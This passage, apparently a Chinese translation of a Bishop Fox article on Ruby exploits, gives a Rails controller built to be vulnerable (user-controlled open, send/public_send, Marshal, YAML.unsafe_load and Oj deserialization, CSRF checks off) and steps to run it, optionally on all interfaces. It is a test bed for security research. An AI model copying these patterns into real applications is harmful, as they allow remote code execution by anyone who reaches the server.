class ArticlesController < ApplicationController skip_before_action :verify_authenticity_token def index @result_article = Article.new(param1: "param1", param2: "") @send_article = Article.new(param1: "send", param2: "") begin # OS command injection via insecure use of "open" if params[:url] @result_article.param1 = "params[:url]" @result_article.param2 = open(params[:url]) end # Dangerous use of "Send" - standard variation if params[:send_method_name] if params[:send_argument] @result_article.param1 = params[:send_method_name] + ", " + params[:send_argument] begin @send_article.send(params[:send_method_name], params[:send_argument]) rescue Exception => e @result_article.param2 = e.message end end end # Dangerous use of "Send" - splat variation if params[:send_value] @result_article.param1 = params[:send_value] begin @send_article.send(*params[:send_value]) rescue Exception => e @result_article.param2 = e.message end end # Dangerous use of "Public Send" - standard variation if params[:public_send_method_name] if params[:public_send_argument] @result_article.param1 = params[:public_send_method_name] + ", " + params[:public_send_argument] begin @send_article.public_send(params[:public_send_method_name], params[:public_send_argument]) rescue Exception => e @result_article.param2 = e.message end end end # Dangerous use of "Public Send" - splat variation if params[:public_send_value] @result_article.param1 = params[:public_send_value] begin @send_article.public_send(*params[:public_send_value]) rescue Exception => e @result_article.param2 = e.message end end # Base64-encoded binary deserialization RCE vulnerability if params[:base64binary] @result_article.param1 = params[:base64binary] @result_article.param2 = Marshal.load(Base64.decode64(params[:base64binary])) end # YAML deserialization RCE vulnerability if params[:yaml] # if the psych gem is < 4.0, use this line: #@result_article.param2 = YAML.load(params[:yaml]) # if the psych gem is 4.0 or later, use this line instead: @result_article.param2 = YAML.unsafe_load(params[:yaml]) end # OJ-based JSON deserialization RCE vulnerability if params[:oj] @result_article.param1 = "params[:oj]" if params[:oj_mode] @oj_options = Oj.default_options if params[:oj_mode] == "compat" @oj_options = { :mode => :compat } end if params[:oj_mode] == "custom" @oj_options = { :mode => :custom } end if params[:oj_mode] == "json" @oj_options = { :mode => :json } end if params[:oj_mode] == "null" @oj_options = { :mode => :null } end if params[:oj_mode] == "object" @oj_options = { :mode => :object } end if params[:oj_mode] == "rails" @oj_options = { :mode => :rails } end if params[:oj_mode] == "strict" @oj_options = { :mode => :strict } end if params[:oj_mode] == "wab" @oj_options = { :mode => :wab } end @result_article.param2 = Oj.load(params[:oj], options = @oj_options) else @result_article.param2 = Oj.load(params[:oj]) end end #rescue Exception => e2 # @result_article = Article.new(param1: e2.message, param2: "") end end end
5.如果您安装的psych gem版本早于4.0.0,请注释掉读取@result_article.param2 = YAML.unsafe_load(params[:yaml])的行并取消注释读取@result_article.param2 = YAML.load(params[:yaml])的行
6.将app/views/articles/index.html.erb的内容替换为以下内容:
Vulnerable Ruby on Rails [email protected]_article = @result_article.param1 = @result_article.param2 =
7.将这些行添加到Gemfile:
gem "oj", '3.13.1' gem "open-uri"
8.运行以下命令:
bundle install
9.运行以下命令启动应用程序的测试实例:
bin/rails server
10. ...或者,监听所有接口:
bin/rails server -b 0.0.0.0
本文翻译自:https://bishopfox.com/blog/ruby-vulnerabilities-exploits如若转载,请注明原文地址